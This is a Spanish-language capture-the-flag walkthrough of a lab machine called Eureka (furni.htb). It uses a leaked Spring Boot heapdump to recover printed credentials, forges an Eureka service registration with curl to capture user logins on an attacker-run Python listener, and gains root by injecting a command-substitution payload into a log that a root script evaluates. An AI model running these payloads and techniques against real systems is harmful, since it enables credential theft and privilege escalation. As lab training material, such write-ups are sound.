Eureka

Escaneo basico:

Entramos a ver la pagina:

Instalamos Nuclei:

🔍 ¿Qué hace exactamente este comando?

  • nuclei: ejecuta la herramienta.

  • -u http://furni.htb: especifica el objetivo (target URL) que se va a escanear.

🛠 ¿Qué detecta?

Depende de las plantillas que Nuclei tenga configuradas, pero por defecto puede detectar:

  • Vulnerabilidades conocidas (CVEs)

  • Problemas de configuración

  • Errores comunes en servidores web

  • Inyecciones SQL/XSS

  • Paneles de administración expuestos

  • Información sensible expuesta

✅ ¿Para qué lo usarías?

  • Enumerar rápidamente fallas comunes en aplicaciones web.

  • Detectar puntos débiles sin intervención manual.

  • Usarlo en combinación con herramientas como nmap, ffuf, burp, etc., durante una auditoría o pentest.

nuclei -u http://furni.htb

🔍 Resultados destacados del escaneo:

🟥 CRÍTICO

[springboot-heapdump]http://furni.htb/actuator/heapdump

💥 Permite descargar un heap dump del proceso Java. Esto puede incluir tokens, contraseñas o claves en memoria.

❯ java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump
===========================================
SpringDataSourceProperties
-------------
password = 0sc@r190_S0l!dP@sswd
driverClassName = com.mysql.cj.jdbc.Driver
url = jdbc:mysql://localhost:3306/Furni_WebApp_DB
username = oscar190
 
===========================================
WeblogicDataSourceConnectionPoolConfig
-------------
not found!
 
===========================================
MongoClient
-------------
not found!
 
===========================================
AliDruidDataSourceWrapper
-------------
not found!
 
===========================================
HikariDataSource
-------------
java.lang.NumberFormatException: Cannot parse null string
not found!
 
===========================================
RedisStandaloneConfiguration
-------------
not found!
 
===========================================
JedisClient
-------------
not found!
 
===========================================
CookieRememberMeManager(ShiroKey)
-------------
not found!
 
===========================================
OriginTrackedMapPropertySource
-------------
management.endpoints.web.exposure.include = *
spring.datasource.driver-class-name = com.mysql.cj.jdbc.Driver
spring.cloud.inetutils.ignoredInterfaces = enp0s.*
eureka.client.service-url.defaultZone = http://EurekaSrvr:0scarPWDisTheB3st@localhost:8761/eureka/
server.forward-headers-strategy = native
spring.datasource.url = jdbc:mysql://localhost:3306/Furni_WebApp_DB
spring.application.name = Furni
server.port = 8082
spring.jpa.properties.hibernate.format_sql = true
spring.session.store-type = jdbc
spring.jpa.hibernate.ddl-auto = none
 
===========================================
MutablePropertySources
-------------
spring.cloud.client.ip-address = 127.0.0.1
local.server.port = null
spring.cloud.client.hostname = eureka
 
===========================================
MapPropertySources
-------------
spring.cloud.client.ip-address = 127.0.0.1
spring.cloud.client.hostname = eureka
local.server.port = null
 
===========================================
ConsulPropertySources
-------------
not found!
 
===========================================
JavaProperties
-------------
not found!
 
===========================================
ProcessEnvironment
-------------
not found!
 
===========================================
OSS
-------------
org.jboss.logging.provider = slf4j
 
===========================================
UserPassSearcher
-------------
org.springframework.security.web.authentication.ui.DefaultLoginPageGeneratingFilter:
[oauth2LoginEnabled = false, passwordParameter = password, formLoginEnabled = true, usernameParameter = username, loginPageUrl = /login, authenticationUrl = /login, saml2LoginEnabled = false, failureUrl = /login?error]
[oauth2LoginEnabled = false, formLoginEnabled = false, saml2LoginEnabled = false]
 
org.springframework.security.web.authentication.UsernamePasswordAuthenticationFilter:
[passwordParameter = password, usernameParameter = username]
 
org.antlr.v4.runtime.atn.LexerATNConfig:
[passedThroughNonGreedyDecision = false]
 
org.antlr.v4.runtime.atn.ATNDeserializationOptions:
[generateRuleBypassTransitions = false]
 
org.hibernate.boot.internal.InFlightMetadataCollectorImpl:
[inSecondPass = false]
 
com.mysql.cj.protocol.a.authentication.AuthenticationLdapSaslClientPlugin:
[firstPass = true]
 
com.mysql.cj.protocol.a.authentication.CachingSha2PasswordPlugin:
[publicKeyRequested = false]
 
com.mysql.cj.protocol.a.authentication.Sha256PasswordPlugin:
[publicKeyRequested = false]
 
com.mysql.cj.NativeCharsetSettings:
[platformDbCharsetMatches = true]
 
com.mysql.cj.protocol.a.NativeAuthenticationProvider:
[database = Furni_WebApp_DB, useConnectWithDb = true, serverDefaultAuthenticationPluginName = mysql_native_password, username = oscar190]
 
com.mysql.cj.jdbc.ConnectionImpl:
[password = 0sc@r190_S0l!dP@sswd, database = Furni_WebApp_DB, origHostToConnectTo = localhost, user = oscar190]
 
com.mysql.cj.conf.HostInfo:
[password = 0sc@r190_S0l!dP@sswd, host = localhost, user = oscar190]
 
com.zaxxer.hikari.pool.HikariPool:
[aliveBypassWindowMs = 500, isUseJdbc4Validation = true]
 
org.springframework.cloud.netflix.eureka.EurekaClientConfigBean:
[eurekaServerConnectTimeoutSeconds = 5, useDnsForFetchingServiceUrls = false, eurekaServerReadTimeoutSeconds = 8, eurekaServerTotalConnections = 200, eurekaServiceUrlPollIntervalSeconds = 300, eurekaServerTotalConnectionsPerHost = 50]
 
org.springframework.boot.autoconfigure.security.SecurityProperties$User:
[password = 4312eecb-54e8-46b9-a645-5b9df3ea21d8, passwordGenerated = true]
 
org.springframework.boot.autoconfigure.jdbc.DataSourceProperties:
[password = 0sc@r190_S0l!dP@sswd, driverClassName = com.mysql.cj.jdbc.Driver, url = jdbc:mysql://localhost:3306/Furni_WebApp_DB, username = oscar190]
 
org.springframework.security.authentication.dao.DaoAuthenticationProvider:
[hideUserNotFoundExceptions = true]
 
com.zaxxer.hikari.HikariDataSource:
[keepaliveTime = 0, password = 0sc@r190_S0l!dP@sswd, jdbcUrl = jdbc:mysql://localhost:3306/Furni_WebApp_DB, driverClassName = com.mysql.cj.jdbc.Driver, username = oscar190]
 
org.apache.catalina.startup.Tomcat:
[hostname = localhost]
 
 
===========================================
CookieThief
-------------
not found!
 
===========================================
AuthThief
-------------
java.util.LinkedHashMap$Entry:
org.springframework.security.config.annotation.authentication.configuration.InitializeUserDetailsBeanManagerConfigurer$InitializeUserDetailsManagerConfigurer = o.s.s.c.a.a.c.InitializeUserDetailsBeanManagerConfigurer$InitializeUserDetailsManagerConfigurer
org.springframework.security.config.annotation.authentication.configuration.InitializeAuthenticationProviderBeanManagerConfigurer$InitializeAuthenticationProviderManagerConfigurer = o.s.s.c.a.a.c.InitializeAuthenticationProviderBeanManagerConfigurer$InitializeAuthenticationProviderManagerConfigurer
 
 
===========================================
  • Comprobé que el puerto 8761 esté abierto en la intranet

8761

Establecí un túnel SSH local, y está correctamente estructurado. Aquí te explico qué hace:

Entramos a ver que contiene:


¿Qué es Eureka?

Eureak Es Netflix uno de una serie de proyectos en el marco de microservicios de código abierto. Spring CloudSe volvió a empaquetar para formar Spring Cloud Netflix un subproyecto, pero Netflixno se modificó el principio de implementación del microservicio. Simplemente se optimizó Spring Bootpara que a los desarrolladores les resulte más fácil usarlo e integrarlo.

Hackeando Netflix Eureka

Después de buscar, encontré este artículo.

Puedes ver dichos servicios en el directorio de aplicaciones.


Por lo tanto, podemos falsificar el registro de un servicio en Eureka Server.

Ejecuta este curl desde la máquina remota (furni.htb):

curl -X POST http://EurekaSrvr:0scarPWDisTheB3st@localhost:8761/eureka/apps/USER-MANAGEMENT-SERVICE \
  -H 'Content-Type: application/json' \
  -d '{
    "instance": {
      "instanceId": "USER-MANAGEMENT-SERVICE",
      "hostName": "10.10.16.49",
      "app": "USER-MANAGEMENT-SERVICE",
      "ipAddr": "IP",
      "vipAddress": "USER-MANAGEMENT-SERVICE",
      "secureVipAddress": "USER-MANAGEMENT-SERVICE",
      "status": "UP",
      "port": {
        "$": 8081,
        "@enabled": "true"
      },
      "dataCenterInfo": {
        "@class": "com.netflix.appinfo.InstanceInfo$DefaultDataCenterInfo",
        "name": "MyOwn"
      }
    }
  }'

Luego hacemos un script:

🛠️ Opción 1: Usar un servidor HTTP en Kali

Levanta un servidor simple en el puerto 8081 que responda algo válido, para mantener la conexión activa:

sudo python3 -m http.server 8081

🛠️ Opción 2: Usar un script Python que capture POSTs

# fake_service.py
from http.server import BaseHTTPRequestHandler, HTTPServer
import urllib.parse

class MyHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        print(f"[+] GET request: {self.path}")
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b"OK")

    def do_POST(self):
        length = int(self.headers['Content-Length'])
        data = self.rfile.read(length).decode()
        parsed = urllib.parse.parse_qs(data)
        print("[+] POST Data:")
        print(parsed)
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b"Received")

server = HTTPServer(('0.0.0.0', 8081), MyHandler)
print("[*] Listening on port 8081...")
server.serve_forever()

Ejecuta:

sudo python3 fake_service.py

👀 ¿Qué esperar ahora?

username=miranda.wise@furni.htb
password=IL!veT0Be&BeT0L0ve

Raíz

Al observar el proceso en segundo plano, puede encontrar que este script se ha ejecutado

Si en application.log se encuentra una línea como:

HTTP Status: x[$(malicious command here)]

...entonces el valor de code se vuelve algo como:

x[$(cp /bin/bash /tmp/bash;chmod u+s /tmp/bash)]

Y cuando el script ejecuta esto:

[[ "$existing_code" -eq "$code" ]]

Bash evalúa el contenido dentro de $() antes de hacer la comparación. Así que el comando cp /bin/bash /tmp/bash; chmod u+s /tmp/bash se ejecuta con los permisos del usuario que corre el script, posiblemente root.


Inyectaste este payload:

echo 'HTTP Status: x[$(cp /bin/bash /tmp/bash;chmod u+s /tmp/bash)]' >> application.log
  1. Luego, cuando el script fue ejecutado, ese contenido fue interpretado, y el comando malicioso fue ejecutado con privilegios elevados.

  2. Esto creó una shell suid en /tmp/bash.


🚀 ¿Cómo lo aprovechas?

Ya tienes la shell escalada. Ejecuta:

/tmp/bash -p

Esto te dará una shell con privilegios root por el setuid (-p evita que se pierdan los privilegios)


Last updated